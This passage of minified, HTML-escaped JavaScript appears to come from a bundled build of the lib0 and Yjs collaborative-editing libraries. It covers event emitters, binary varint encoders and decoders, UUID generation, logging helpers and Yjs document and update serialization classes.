e=0;e&lt;t.length;e++)n.push(t[e])},it=Array.from;var Gs=(n,t)=&gt;{for(let e=0;e&lt;n.length;e++)if(t(n[e],e,n))return!0;return!1};var Hs=(n,t)=&gt;{let e=new Array(n);for(let r=0;r&lt;n;r++)e[r]=t(r,e);return e};var zt=Array.isArray;var Dt=class{constructor(){this._observers=U()}on(t,e){return N(this._observers,t,dt).add(e),e}once(t,e){let r=(...s)=&gt;{this.off(t,r),e(...s)};this.on(t,r)}off(t,e){let r=this._observers.get(t);r!==void 0&amp;&amp;(r.delete(e),r.size===0&amp;&amp;this._observers.delete(t))}emit(t,e){return it((this._observers.get(t)||U()).values()).forEach(r=&gt;r(...e))}destroy(){this._observers=U()}},we=class{constructor(){this._observers=U()}on(t,e){N(this._observers,t,dt).add(e)}once(t,e){let r=(...s)=&gt;{this.off(t,r),e(...s)};this.on(t,r)}off(t,e){let r=this._observers.get(t);r!==void 0&amp;&amp;(r.delete(e),r.size===0&amp;&amp;this._observers.delete(t))}emit(t,e){return it((this._observers.get(t)||U()).values()).forEach(r=&gt;r(...e))}destroy(){this._observers=U()}};var W=Math.floor;var ye=Math.abs;var kn=(n,t)=&gt;n&lt;t?n:t,bt=(n,t)=&gt;n&gt;t?n:t,Cd=Number.isNaN;var _n=n=&gt;n!==0?n&lt;0:1/n&lt;0;var lr=Number.MAX_SAFE_INTEGER,Dd=Number.MIN_SAFE_INTEGER,Ad=1&lt;&lt;31;var $s=Number.isInteger||(n=&gt;typeof n==&quot;number&quot;&amp;&amp;isFinite(n)&amp;&amp;W(n)===n),Ud=Number.isNaN,Id=Number.parseInt;var ar=String.fromCharCode,Td=String.fromCodePoint,vd=ar(65535),vc=n=&gt;n.toLowerCase(),Oc=/^\s*/g,Lc=n=&gt;n.replace(Oc,&quot;&quot;),Nc=/([A-Z])/g,dr=(n,t)=&gt;Lc(n.replace(Nc,e=&gt;`${t}${vc(e)}`));var Mc=n=&gt;{let t=unescape(encodeURIComponent(n)),e=t.length,r=new Uint8Array(e);for(let s=0;s&lt;e;s++)r[s]=t.codePointAt(s);return r},xe=typeof TextEncoder&lt;&quot;u&quot;?new TextEncoder:null,Rc=n=&gt;xe.encode(n),Ks=xe?Rc:Mc;var Se=typeof TextDecoder&gt;&quot;u&quot;?null:new TextDecoder(&quot;utf-8&quot;,{fatal:!0,ignoreBOM:!0});Se&amp;&amp;Se.decode(new Uint8Array).length===1&amp;&amp;(Se=null);var qs=(n,t)=&gt;Hs(t,()=&gt;n).join(&quot;&quot;);var Gt=class{constructor(){this.cpos=0,this.cbuf=new Uint8Array(100),this.bufs=[]}},ot=()=&gt;new Gt;var Vc=n=&gt;{let t=n.cpos;for(let e=0;e&lt;n.bufs.length;e++)t+=n.bufs[e].length;return t};var Y=n=&gt;{let t=new Uint8Array(Vc(n)),e=0;for(let r=0;r&lt;n.bufs.length;r++){let s=n.bufs[r];t.set(s,e),e+=s.length}return t.set(new Uint8Array(n.cbuf.buffer,0,n.cpos),e),t},Bc=(n,t)=&gt;{let e=n.cbuf.length;e-n.cpos&lt;t&amp;&amp;(n.bufs.push(new Uint8Array(n.cbuf.buffer,0,n.cpos)),n.cbuf=new Uint8Array(bt(e,t)*2),n.cpos=0)},M=(n,t)=&gt;{let e=n.cbuf.length;n.cpos===e&amp;&amp;(n.bufs.push(n.cbuf),n.cbuf=new Uint8Array(e*2),n.cpos=0),n.cbuf[n.cpos++]=t};var _e=M;var S=(n,t)=&gt;{for(;t&gt;127;)M(n,128|127&amp;t),t=W(t/128);M(n,127&amp;t)},Je=(n,t)=&gt;{let e=_n(t);for(e&amp;&amp;(t=-t),M(n,(t&gt;63?128:0)|(e?64:0)|63&amp;t),t=W(t/64);t&gt;0;)M(n,(t&gt;127?128:0)|127&amp;t),t=W(t/128)},ur=new Uint8Array(3e4),Pc=ur.length/3,jc=(n,t)=&gt;{if(t.length&lt;Pc){let e=xe.encodeInto(t,ur).written||0;S(n,e);for(let r=0;r&lt;e;r++)M(n,ur[r])}else V(n,Ks(t))},Fc=(n,t)=&gt;{let e=unescape(encodeURIComponent(t)),r=e.length;S(n,r);for(let s=0;s&lt;r;s++)M(n,e.codePointAt(s))},At=xe&amp;&amp;xe.encodeInto?jc:Fc;var ti=(n,t)=&gt;Ce(n,Y(t)),Ce=(n,t)=&gt;{let e=n.cbuf.length,r=n.cpos,s=kn(e-r,t.length),i=t.length-s;n.cbuf.set(t.subarray(0,s),r),n.cpos+=s,i&gt;0&amp;&amp;(n.bufs.push(n.cbuf),n.cbuf=new Uint8Array(bt(e*2,i)),n.cbuf.set(t.subarray(s)),n.cpos=i)},V=(n,t)=&gt;{S(n,t.byteLength),Ce(n,t)},hr=(n,t)=&gt;{Bc(n,t);let e=new DataView(n.cbuf.buffer,n.cpos,t);return n.cpos+=t,e},Yc=(n,t)=&gt;hr(n,4).setFloat32(0,t,!1),zc=(n,t)=&gt;hr(n,8).setFloat64(0,t,!1),Gc=(n,t)=&gt;hr(n,8).setBigInt64(0,t,!1);var Xs=new DataView(new ArrayBuffer(4)),Hc=n=&gt;(Xs.setFloat32(0,n),Xs.getFloat32(0)===n),Ee=(n,t)=&gt;{switch(typeof t){case&quot;string&quot;:M(n,119),At(n,t);break;case&quot;number&quot;:$s(t)&amp;&amp;ye(t)&lt;=2147483647?(M(n,125),Je(n,t)):Hc(t)?(M(n,124),Yc(n,t)):(M(n,123),zc(n,t));break;case&quot;bigint&quot;:M(n,122),Gc(n,t);break;case&quot;object&quot;:if(t===null)M(n,126);else if(zt(t)){M(n,117),S(n,t.length);for(let e=0;e&lt;t.length;e++)Ee(n,t[e])}else if(t instanceof Uint8Array)M(n,116),V(n,t);else{M(n,118);let e=Object.keys(t);S(n,e.length);for(let r=0;r&lt;e.length;r++){let s=e[r];At(n,s),Ee(n,t[s])}}break;case&quot;boolean&quot;:M(n,t?120:121);break;default:M(n,127)}},$e=class extends Gt{constructor(t){super(),this.w=t,this.s=null,this.count=0}write(t){this.s===t?this.count++:(this.count&gt;0&amp;&amp;S(this,this.count-1),this.count=1,this.w(this,t),this.s=t)}};var Qs=n=&gt;{n.count&gt;0&amp;&amp;(Je(n.encoder,n.count===1?n.s:-n.s),n.count&gt;1&amp;&amp;S(n.encoder,n.count-2))},Ht=class{constructor(){this.encoder=new Gt,this.s=0,this.count=0}write(t){this.s===t?this.count++:(Qs(this),this.count=1,this.s=t)}toUint8Array(){return Qs(this),Y(this.encoder)}};var Zs=n=&gt;{if(n.count&gt;0){let t=n.diff*2+(n.count===1?0:1);Je(n.encoder,t),n.count&gt;1&amp;&amp;S(n.encoder,n.count-2)}},ke=class{constructor(){this.encoder=new Gt,this.s=0,this.count=0,this.diff=0}write(t){this.diff===t-this.s?(this.s=t,this.count++):(Zs(this),this.count=1,this.diff=t-this.s,this.s=t)}toUint8Array(){return Zs(this),Y(this.encoder)}},Cn=class{constructor(){this.sarr=[],this.s=&quot;&quot;,this.lensE=new Ht}write(t){this.s+=t,this.s.length&gt;19&amp;&amp;(this.sarr.push(this.s),this.s=&quot;&quot;),this.lensE.write(t.length)}toUint8Array(){let t=new Gt;return this.sarr.push(this.s),this.s=&quot;&quot;,At(t,this.sarr.join(&quot;&quot;)),Ce(t,this.lensE.toUint8Array()),Y(t)}};var ut=n=&gt;new Error(n),ct=()=&gt;{throw ut(&quot;Method unimplemented&quot;)},$=()=&gt;{throw ut(&quot;Unexpected case&quot;)};var ni=ut(&quot;Unexpected end of array&quot;),ri=ut(&quot;Integer out of Range&quot;),De=class{constructor(t){this.arr=t,this.pos=0}},O=n=&gt;new De(n),pr=n=&gt;n.pos!==n.arr.length;var $c=(n,t)=&gt;{let e=new Uint8Array(n.arr.buffer,n.pos+n.arr.byteOffset,t);return n.pos+=t,e},B=n=&gt;$c(n,b(n));var $t=n=&gt;n.arr[n.pos++];var b=n=&gt;{let t=0,e=1,r=n.arr.length;for(;n.pos&lt;r;){let s=n.arr[n.pos++];if(t=t+(s&amp;127)*e,e*=128,s&lt;128)return t;if(t&gt;lr)throw ri}throw ni},qe=n=&gt;{let t=n.arr[n.pos++],e=t&amp;63,r=64,s=(t&amp;64)&gt;0?-1:1;if((t&amp;128)===0)return s*e;let i=n.arr.length;for(;n.pos&lt;i;){if(t=n.arr[n.pos++],e=e+(t&amp;127)*r,r*=128,t&lt;128)return s*e;if(e&gt;lr)throw ri}throw ni};var Jc=n=&gt;{let t=b(n);if(t===0)return&quot;&quot;;{let e=String.fromCodePoint($t(n));if(--t&lt;100)for(;t--;)e+=String.fromCodePoint($t(n));else for(;t&gt;0;){let r=t&lt;1e4?t:1e4,s=n.arr.subarray(n.pos,n.pos+r);n.pos+=r,e+=String.fromCodePoint.apply(null,s),t-=r}return decodeURIComponent(escape(e))}},Kc=n=&gt;Se.decode(B(n)),It=Se?Kc:Jc;var gr=(n,t)=&gt;{let e=new DataView(n.arr.buffer,n.arr.byteOffset+n.pos,t);return n.pos+=t,e},qc=n=&gt;gr(n,4).getFloat32(0,!1),Wc=n=&gt;gr(n,8).getFloat64(0,!1),Xc=n=&gt;gr(n,8).getBigInt64(0,!1);var Qc=[n=&gt;{},n=&gt;null,qe,qc,Wc,Xc,n=&gt;!1,n=&gt;!0,It,n=&gt;{let t=b(n),e={};for(let r=0;r&lt;t;r++){let s=It(n);e[s]=Ae(n)}return e},n=&gt;{let t=b(n),e=[];for(let r=0;r&lt;t;r++)e.push(Ae(n));return e},B],Ae=n=&gt;Qc[127-$t(n)](n),Ke=class extends De{constructor(t,e){super(t),this.reader=e,this.s=null,this.count=0}read(){return this.count===0&amp;&amp;(this.s=this.reader(this),pr(this)?this.count=b(this)+1:this.count=-1),this.count--,this.s}};var Jt=class extends De{constructor(t){super(t),this.s=0,this.count=0}read(){if(this.count===0){this.s=qe(this);let t=_n(this.s);this.count=1,t&amp;&amp;(this.s=-this.s,this.count=b(this)+2)}return this.count--,this.s}};var Ue=class extends De{constructor(t){super(t),this.s=0,this.count=0,this.diff=0}read(){if(this.count===0){let t=qe(this),e=t&amp;1;this.diff=W(t/2),this.count=1,e&amp;&amp;(this.count=b(this)+2)}return this.s+=this.diff,this.count--,this.s}},Dn=class{constructor(t){this.decoder=new Jt(t),this.str=It(this.decoder),this.spos=0}read(){let t=this.spos+this.decoder.read(),e=this.str.slice(this.spos,t);return this.spos=t,e}};var Nd=crypto.subtle,si=crypto.getRandomValues.bind(crypto);var wr=()=&gt;si(new Uint32Array(1))[0];var Zc=&quot;10000000-1000-4000-8000&quot;+-1e11,ii=()=&gt;Zc.replace(/[018]/g,n=&gt;(n^wr()&amp;15&gt;&gt;n/4).toString(16));var Tt=Date.now;var Sr=n=&gt;new Promise(n);var Vd=Promise.all.bind(Promise);var xr=n=&gt;n===void 0?null:n;var br=class{constructor(){this.map=new Map}setItem(t,e){this.map.set(t,e)}getItem(t){return this.map.get(t)}},oi=new br,rl=!0;try{typeof localStorage&lt;&quot;u&quot;&amp;&amp;localStorage&amp;&amp;(oi=localStorage,rl=!1)}catch{}var ci=oi;var ai=Object.assign,di=Object.keys,ui=(n,t)=&gt;{for(let e in n)t(n[e],e)};var Er=n=&gt;di(n).length,li=n=&gt;di(n).length;var hi=n=&gt;{for(let t in n)return!1;return!0},il=(n,t)=&gt;{for(let e in n)if(!t(n[e],e))return!1;return!0},kr=(n,t)=&gt;Object.prototype.hasOwnProperty.call(n,t),_r=(n,t)=&gt;n===t||li(n)===li(t)&amp;&amp;il(n,(e,r)=&gt;(e!==void 0||kr(t,r))&amp;&amp;t[r]===e),ol=Object.freeze,Cr=n=&gt;{for(let t in n){let e=n[t];(typeof e==&quot;object&quot;||typeof e==&quot;function&quot;)&amp;&amp;Cr(n[t])}return ol(n)};var Xe=(n,t,e=0)=&gt;{try{for(;e&lt;n.length;e++)n[e](...t)}finally{e&lt;n.length&amp;&amp;Xe(n,t,e+1)}};var Dr=n=&gt;n,cl=(n,t)=&gt;n===t;var We=(n,t)=&gt;{if(n==null||t==null)return cl(n,t);if(n.constructor!==t.constructor)return!1;if(n===t)return!0;switch(n.constructor){case ArrayBuffer:n=new Uint8Array(n),t=new Uint8Array(t);case Uint8Array:{if(n.byteLength!==t.byteLength)return!1;for(let e=0;e&lt;n.length;e++)if(n[e]!==t[e])return!1;break}case Set:{if(n.size!==t.size)return!1;for(let e of n)if(!t.has(e))return!1;break}case Map:{if(n.size!==t.size)return!1;for(let e of n.keys())if(!t.has(e)||!We(n.get(e),t.get(e)))return!1;break}case Object:if(Er(n)!==Er(t))return!1;for(let e in n)if(!kr(n,e)||!We(n[e],t[e]))return!1;break;case Array:if(n.length!==t.length)return!1;for(let e=0;e&lt;n.length;e++)if(!We(n[e],t[e]))return!1;break;default:return!1}return!0},pi=(n,t)=&gt;t.includes(n);var Ie=typeof process&lt;&quot;u&quot;&amp;&amp;process.release&amp;&amp;/node|io\.js/.test(process.release.name)&amp;&amp;Object.prototype.toString.call(typeof process&lt;&quot;u&quot;?process:0)===&quot;[object process]&quot;,An=typeof window&lt;&quot;u&quot;&amp;&amp;typeof document&lt;&quot;u&quot;&amp;&amp;!Ie,Bd=typeof navigator&lt;&quot;u&quot;?/Mac/.test(navigator.platform):!1,ht,ll=[],al=()=&gt;{if(ht===void 0)if(Ie){ht=U();let n=process.argv,t=null;for(let e=0;e&lt;n.length;e++){let r=n[e];r[0]===&quot;-&quot;?(t!==null&amp;&amp;ht.set(t,&quot;&quot;),t=r):t!==null?(ht.set(t,r),t=null):ll.push(r)}t!==null&amp;&amp;ht.set(t,&quot;&quot;)}else typeof location==&quot;object&quot;?(ht=U(),(location.search||&quot;?&quot;).slice(1).split(&quot;&amp;&quot;).forEach(n=&gt;{if(n.length!==0){let[t,e]=n.split(&quot;=&quot;);ht.set(`--${dr(t,&quot;-&quot;)}`,e),ht.set(`-${dr(t,&quot;-&quot;)}`,e)}})):ht=U();return ht},Ur=n=&gt;al().has(n);var Qe=n=&gt;Ie?xr(process.env[n.toUpperCase().replaceAll(&quot;-&quot;,&quot;_&quot;)]):xr(ci.getItem(n));var gi=n=&gt;Ur(&quot;--&quot;+n)||Qe(n)!==null,Pd=gi(&quot;production&quot;),dl=Ie&amp;&amp;pi(process.env.FORCE_COLOR,[&quot;true&quot;,&quot;1&quot;,&quot;2&quot;]),mi=dl||!Ur(&quot;--no-colors&quot;)&amp;&amp;!gi(&quot;no-color&quot;)&amp;&amp;(!Ie||process.stdout.isTTY)&amp;&amp;(!Ie||Ur(&quot;--color&quot;)||Qe(&quot;COLORTERM&quot;)!==null||(Qe(&quot;TERM&quot;)||&quot;&quot;).includes(&quot;color&quot;));var wi=n=&gt;new Uint8Array(n),ul=(n,t,e)=&gt;new Uint8Array(n,t,e);var hl=n=&gt;{let t=&quot;&quot;;for(let e=0;e&lt;n.byteLength;e++)t+=ar(n[e]);return btoa(t)},fl=n=&gt;Buffer.from(n.buffer,n.byteOffset,n.byteLength).toString(&quot;base64&quot;),pl=n=&gt;{let t=atob(n),e=wi(t.length);for(let r=0;r&lt;t.length;r++)e[r]=t.charCodeAt(r);return e},gl=n=&gt;{let t=Buffer.from(n,&quot;base64&quot;);return ul(t.buffer,t.byteOffset,t.byteLength)},yi=An?hl:fl,Si=An?pl:gl;var xi=n=&gt;{let t=wi(n.byteLength);return t.set(n),t};var Tr=class{constructor(t,e){this.left=t,this.right=e}},ft=(n,t)=&gt;new Tr(n,t);var Kt=typeof document&lt;&quot;u&quot;?document:{};var jd=typeof DOMParser&lt;&quot;u&quot;?new DOMParser:null;var Ei=n=&gt;Fs(n,(t,e)=&gt;`${e}:${t};`).join(&quot;&quot;);var Fd=Kt.ELEMENT_NODE,Yd=Kt.TEXT_NODE,zd=Kt.CDATA_SECTION_NODE,Gd=Kt.COMMENT_NODE,Hd=Kt.DOCUMENT_NODE,$d=Kt.DOCUMENT_TYPE_NODE,Jd=Kt.DOCUMENT_FRAGMENT_NODE;var pt=Symbol;var Ze=pt(),tn=pt(),vr=pt(),Or=pt(),Lr=pt(),en=pt(),Nr=pt(),Te=pt(),Mr=pt(),ki=n=&gt;{n.length===1&amp;&amp;n[0]?.constructor===Function&amp;&amp;(n=n[0]());let t=[],e=[],r=0;for(;r&lt;n.length;r++){let s=n[r];if(s===void 0)break;if(s.constructor===String||s.constructor===Number)t.push(s);else if(s.constructor===Object)break}for(r&gt;0&amp;&amp;e.push(t.join(&quot;&quot;));r&lt;n.length;r++){let s=n[r];s instanceof Symbol||e.push(s)}return e};var Kd=Tt();var xl={[Ze]:ft(&quot;font-weight&quot;,&quot;bold&quot;),[tn]:ft(&quot;font-weight&quot;,&quot;normal&quot;),[vr]:ft(&quot;color&quot;,&quot;blue&quot;),[Lr]:ft(&quot;color&quot;,&quot;green&quot;),[Or]:ft(&quot;color&quot;,&quot;grey&quot;),[en]:ft(&quot;color&quot;,&quot;red&quot;),[Nr]:ft(&quot;color&quot;,&quot;purple&quot;),[Te]:ft(&quot;color&quot;,&quot;orange&quot;),[Mr]:ft(&quot;color&quot;,&quot;black&quot;)},bl=n=&gt;{n.length===1&amp;&amp;n[0]?.constructor===Function&amp;&amp;(n=n[0]());let t=[],e=[],r=U(),s=[],i=0;for(;i&lt;n.length;i++){let o=n[i],c=xl[o];if(c!==void 0)r.set(c.left,c.right);else{if(o===void 0)break;if(o.constructor===String||o.constructor===Number){let l=Ei(r);i&gt;0||l.length&gt;0?(t.push(&quot;%c&quot;+o),e.push(l)):t.push(o)}else break}}for(i&gt;0&amp;&amp;(s=e,s.unshift(t.join(&quot;&quot;)));i&lt;n.length;i++){let o=n[i];o instanceof Symbol||s.push(o)}return s},_i=mi?bl:ki,Un=(...n)=&gt;{console.log(..._i(n)),Ci.forEach(t=&gt;t.print(n))},Rr=(...n)=&gt;{console.warn(..._i(n)),n.unshift(Te),Ci.forEach(t=&gt;t.print(n))};var Ci=dt();var Di=n=&gt;({[Symbol.iterator](){return this},next:n}),Ai=(n,t)=&gt;Di(()=&gt;{let e;do e=n.next();while(!e.done&amp;&amp;!t(e.value));return e}),In=(n,t)=&gt;Di(()=&gt;{let{done:e,value:r}=n.next();return{done:e,value:e?void 0:t(r)}});var Br=class extends Dt{constructor(t,e){super(),this.doc=t,this.awareness=e}},rn=class{constructor(t,e){this.clock=t,this.len=e}},Nt=class{constructor(){this.clients=new Map}},Xt=(n,t,e)=&gt;t.clients.forEach((r,s)=&gt;{let i=n.doc.store.clients.get(s);if(i!=null){let o=i[i.length-1],c=o.id.clock+o.length;for(let l=0,a=r[l];l&lt;r.length&amp;&amp;a.clock&lt;c;a=r[++l])Qi(n,i,a.clock,a.len,e)}}),Dl=(n,t)=&gt;{let e=0,r=n.length-1;for(;e&lt;=r;){let s=W((e+r)/2),i=n[s],o=i.clock;if(o&lt;=t){if(t&lt;o+i.len)return s;e=s+1}else r=s-1}return null},ae=(n,t)=&gt;{let e=n.clients.get(t.client);return e!==void 0&amp;&amp;Dl(e,t.clock)!==null},Kr=n=&gt;{n.clients.forEach(t=&gt;{t.sort((s,i)=&gt;s.clock-i.clock);let e,r;for(e=1,r=1;e&lt;t.length;e++){let s=t[r-1],i=t[e];s.clock+s.len&gt;=i.clock?s.len=bt(s.len,i.clock+i.len-s.clock):(r&lt;e&amp;&amp;(t[r]=i),r++)}t.length=r})},Qt=n=&gt;{let t=new Nt;for(let e=0;e&lt;n.length;e++)n[e].clients.forEach((r,s)=&gt;{if(!t.clients.has(s)){let i=r.slice();for(let o=e+1;o&lt;n.length;o++)zs(i,n[o].clients.get(s)||[]);t.clients.set(s,i)}});return Kr(t),t},sn=(n,t,e,r)=&gt;{N(n.clients,t,()=&gt;[]).push(new rn(e,r))},Jn=()=&gt;new Nt,qr=n=&gt;{let t=Jn();return n.clients.forEach((e,r)=&gt;{let s=[];for(let i=0;i&lt;e.length;i++){let o=e[i];if(o.deleted){let c=o.id.clock,l=o.length;if(i+1&lt;e.length)for(let a=e[i+1];i+1&lt;e.length&amp;&amp;a.deleted;a=e[++i+1])l+=a.length;s.push(new rn(c,l))}}s.length&gt;0&amp;&amp;t.clients.set(r,s)}),t},gt=(n,t)=&gt;{S(n.restEncoder,t.clients.size),it(t.clients.entries()).sort((e,r)=&gt;r[0]-e[0]).forEach(([e,r])=&gt;{n.resetDsCurVal(),S(n.restEncoder,e);let s=r.length;S(n.restEncoder,s);for(let i=0;i&lt;s;i++){let o=r[i];n.writeDsClock(o.clock),n.writeDsLen(o.len)}})},kt=n=&gt;{let t=new Nt,e=b(n.restDecoder);for(let r=0;r&lt;e;r++){n.resetDsCurVal();let s=b(n.restDecoder),i=b(n.restDecoder);if(i&gt;0){let o=N(t.clients,s,()=&gt;[]);for(let c=0;c&lt;i;c++)o.push(new rn(n.readDsClock(),n.readDsLen()))}}return t},Ti=(n,t,e)=&gt;{let r=new Nt,s=b(n.restDecoder);for(let i=0;i&lt;s;i++){n.resetDsCurVal();let o=b(n.restDecoder),c=b(n.restDecoder),l=e.clients.get(o)||[],a=A(e,o);for(let d=0;d&lt;c;d++){let u=n.readDsClock(),h=u+n.readDsLen();if(u&lt;a){a&lt;h&amp;&amp;sn(r,o,a,h-a);let f=et(l,u),p=l[f];for(!p.deleted&amp;&amp;p.id.clock&lt;u&amp;&amp;(l.splice(f+1,0,$n(t,p,u-p.id.clock)),f++);f&lt;l.length&amp;&amp;(p=l[f++],p.id.clock&lt;h);)p.deleted||(h&lt;p.id.clock+p.length&amp;&amp;l.splice(f,0,$n(t,p,h-p.id.clock)),p.delete(t))}else sn(r,o,u,h-u)}}if(r.clients.size&gt;0){let i=new Q;return S(i.restEncoder,0),gt(i,r),i.toUint8Array()}return null},Hi=(n,t)=&gt;{if(n.clients.size!==t.clients.size)return!1;for(let[e,r]of n.clients.entries()){let s=t.clients.get(e);if(s===void 0||r.length!==s.length)return!1;for(let i=0;i&lt;r.length;i++){let o=r[i],c=s[i];if(o.clock!==c.clock||o.len!==c.len)return!1}}return!0},$i=wr,mt=class n extends Dt{constructor({guid:t=ii(),collectionid:e=null,gc:r=!0,gcFilter:s=()=&gt;!0,meta:i=null,autoLoad:o=!1,shouldLoad:c=!0}={}){super(),this.gc=r,this.gcFilter=s,this.clientID=$i(),this.guid=t,this.collectionid=e,this.share=new Map,this.store=new Vn,this._transaction=null,this._transactionCleanups=[],this.subdocs=new Set,this._item=null,this.shouldLoad=c,this.autoLoad=o,this.meta=i,this.isLoaded=!1,this.isSynced=!1,this.isDestroyed=!1,this.whenLoaded=Sr(a=&gt;{this.on(&quot;load&quot;,()=&gt;{this.isLoaded=!0,a(this)})});let l=()=&gt;Sr(a=&gt;{let d=u=&gt;{(u===void 0||u===!0)&amp;&amp;(this.off(&quot;sync&quot;,d),a())};this.on(&quot;sync&quot;,d)});this.on(&quot;sync&quot;,a=&gt;{a===!1&amp;&amp;this.isSynced&amp;&amp;(this.whenSynced=l()),this.isSynced=a===void 0||a===!0,this.isSynced&amp;&amp;!this.isLoaded&amp;&amp;this.emit(&quot;load&quot;,[this])}),this.whenSynced=l()}load(){let t=this._item;t!==null&amp;&amp;!this.shouldLoad&amp;&amp;_(t.parent.doc,e=&gt;{e.subdocsLoaded.add(this)},null,!0),this.shouldLoad=!0}getSubdocs(){return this.subdocs}getSubdocGuids(){return new Set(it(this.subdocs).map(t=&gt;t.guid))}transact(t,e=null){return _(this,t,e)}get(t,e=T){let r=N(this.share,t,()=&gt;{let i=new e;return i._integrate(this,null),i}),s=r.constructor;if(e!==T&amp;&amp;s!==e)if(s===T){let i=new e;i._map=r._map,r._map.forEach(o=&gt;{for(;o!==null;o=o.left)o.parent=i}),i._start=r._start;for(let o=i._start;o!==null;o=o.right)o.parent=i;return i._length=r._length,this.share.set(t,i),i._integrate(this,null),i}else throw new Error(`Type with the name ${t} has already been defined with a different constructor`);return r}getArray(t=&quot;&quot;){return this.get(t,re)}getText(t=&quot;&quot;){return this.get(t,Le)}getMap(t=&quot;&quot;){return this.get(t,se)}getXmlElement(t=&quot;&quot;){return this.get(t,oe)}getXmlFragment(t=&quot;&quot;){return this.get(t,ie)}toJSON(){let t={};return this.share.forEach((e,r)=&gt;{t[r]=e.toJSON()}),t}destroy(){this.isDestroyed=!0,it(this.subdocs).forEach(e=&gt;e.destroy());let t=this._item;if(t!==null){this._item=null;let e=t.content;e.doc=new n({guid:this.guid,...e.opts,shouldLoad:!1}),e.doc._item=t,_(t.parent.doc,r=&gt;{let s=e.doc;t.deleted||r.subdocsAdded.add(s),r.subdocsRemoved.add(this)},null,!0)}this.emit(&quot;destroyed&quot;,[!0]),this.emit(&quot;destroy&quot;,[this]),super.destroy()}},Zt=class{constructor(t){this.restDecoder=t}resetDsCurVal(){}readDsClock(){return b(this.restDecoder)}readDsLen(){return b(this.restDecoder)}},X=class extends Zt{readLeftID(){return x(b(this.restDecoder),b(this.restDecoder))}readRightID(){return x(b(this.restDecoder),b(this.restDecoder))}readClient(){return b(this.restDecoder)}readInfo(){return $t(this.restDecoder)}readString(){return It(this.restDecoder)}readParentInfo(){return b(this.restDecoder)===1}readTypeRef(){return b(this.restDecoder)}readLen(){return b(this.restDecoder)}readAny(){return Ae(this.restDecoder)}readBuf(){return xi(B(this.restDecoder))}readJSON(){return JSON.parse(It(this.restDecoder))}readKey(){return It(this.restDecoder)}},Mn=class{constructor(t){this.dsCurrVal=0,this.restDecoder=t}resetDsCurVal(){this.dsCurrVal=0}readDsClock(){return this.dsCurrVal+=b(this.restDecoder),this.dsCurrVal}readDsLen(){let t=b(this.restDecoder)+1;return this.dsCurrVal+=t,t}},J=class extends Mn{constructor(t){super(t),this.keys=[],b(t),this.keyClockDecoder=new Ue(B(t)),this.clientDecoder=new Jt(B(t)),this.leftClockDecoder=new Ue(B(t)),this.rightClockDecoder=new Ue(B(t)),this.infoDecoder=new Ke(B(t),$t),this.stringDecoder=new Dn(B(t)),this.parentInfoDecoder=new Ke(B(t),$t),this.typeRefDecoder=new Jt(B(t)),this.lenDecoder=new Jt(B(t))}readLeftID(){return new Et(this.clientDecoder.read(),this.leftClockDecoder.read())}readRightID(){return new Et(this.clientDecoder.read(),this.rightClockDecoder.read())}readClient(){return this.clientDecoder.read()}readInfo(){return this.infoDecoder.read()}readString(){return this.stringDecoder.read()}readParentInfo(){return this.parentInfoDecoder.read()===1}readTypeRef(){return this.typeRefDecoder.read()}readLen(){return this.lenDecoder.read()}readAny(){return Ae(this.restDecoder)}readBuf(){return B(this.restDecoder)}readJSON(){return Ae(this.restDecoder)}readKey(){let t=this.keyClockDecoder.read();if(t&lt;this.keys.length)return this.keys[t];{let e=this.stringDecoder.read();return this.keys.push(e),e}}},Mt=class{constructor(){this.restEncoder=ot()}toUint8Array(){return Y(this.restEncoder)}resetDsCurVal(){}writeDsClock(t){S(this.restEncoder,t)}writeDsLen(t){S(this.restEncoder,t)}},wt=class extends Mt{writeLeftID(t){S(this.restEncoder,t.client),S(this.restEncoder,t.clock)}writeRightID(t){S(this.restEncoder,t.client),S(this.restEncoder,t.clock)}writeClient(t){S(this.restEncoder,t)}writeInfo(t){_e(this.restEncoder,t)}writeString(t){At(this.restEncoder,t)}writeParentInfo(t){S(this.restEncoder,t?1:0)}writeTypeRef(t){S(this.restEncoder,t)}writeLen(t){S(this.restEncoder,t)}writeAny(t){Ee(this.restEncoder,t)}writeBuf(t){V(this.restEncoder,t)}writeJSON(t){At(this.restEncoder,JSON.stringify(t))}writeKey(t){At(this.restEncoder,t)}},ve=class{constructor(){this.restEncoder=ot(),this.dsCurrVal=0}toUint8Array(){return Y(this.restEncoder)}resetDsCurVal(){this.dsCurrVal=0}writeDsClock(t){let e=t-this.dsCurrVal;this.dsCurrVal=t,S(this.restEncoder,e)}writeDsLen(t){t===0&amp;&amp;$(),S(this.restEncoder,t-1),this.dsCurrVal+=t}},Q=class extends ve{constructor(){super(),this.keyMap=new Map,this.keyClock=0,this.keyClockEncoder=new ke,this.clientEncoder=new Ht,this.leftClockEncoder=new ke,this.rightClockEncoder=new ke,this.infoEncoder=new $e(_e),this.stringEncoder=new Cn,this.parentInfoEncoder=new $e(_e),this.typeRefEncoder=new Ht,this.lenEncoder=new Ht}toUint8Array(){let t=ot();return S(t,0),V(t,this.keyClockEncoder.toUint8Array()),V(t,this.clientEncoder.toUint8Array()),V(t,this.leftClockEncoder.toUint8Array()),V(t,this.rightClockEncoder.toUint8Array()),V(t,Y(this.infoEncoder)),V(t,this.stringEncoder.toUint8Array()),V(t,Y(this.parentInfoEncoder)),V(t,this.typeRefEncoder.toUint8Array()),V(t,this.lenEncoder.toUint8Array()),Ce(t,Y(this.restEncoder)),Y(t)}writeLeftID(t){this.clientEncoder.write(t.client),this.leftClockEncoder.write(t.clock)}writeRightID(t){this.clientEncoder.write(t.client),this.rightClockEncoder.write(t.clock)}writeClient(t){this.clientEncoder.write(t)}writeInfo(t){this.infoEncoder.write(t)}writeString(t){this.stringEncoder.write(t)}writeParentInfo(t){this.parentInfoEncoder.write(t?1:0)}writeTypeRef(t){this.typeRefEncoder.write(t)}writeLen(t){this.lenEncoder.write(t)}writeAny(t){Ee(this.restEncoder,t)}writeBuf(t){V(this.restEncoder,t)}writeJSON(t){Ee(this.restEncoder,t)}writeKey(t){let e=this.keyMap.get(t);e===void 0?(this.keyClockEncoder.write(this.keyClock++),this.stringEncoder.write(t)):this.keyClockEncoder.write(e)}},Al=(n,t,e,r)=&gt;{r=bt(r,t[0].id.clock);let s=et(t,r);S(n.restEncoder,t.length-s),n.writeClient(e),S(n.restEncoder,r);let i=t[s];i.write(n,r-i.id.clock);for(let o=s+1;o&lt;t.length;o++)t[o].write(n,0)},Wr=(n,t,e)=&gt;{let r=new 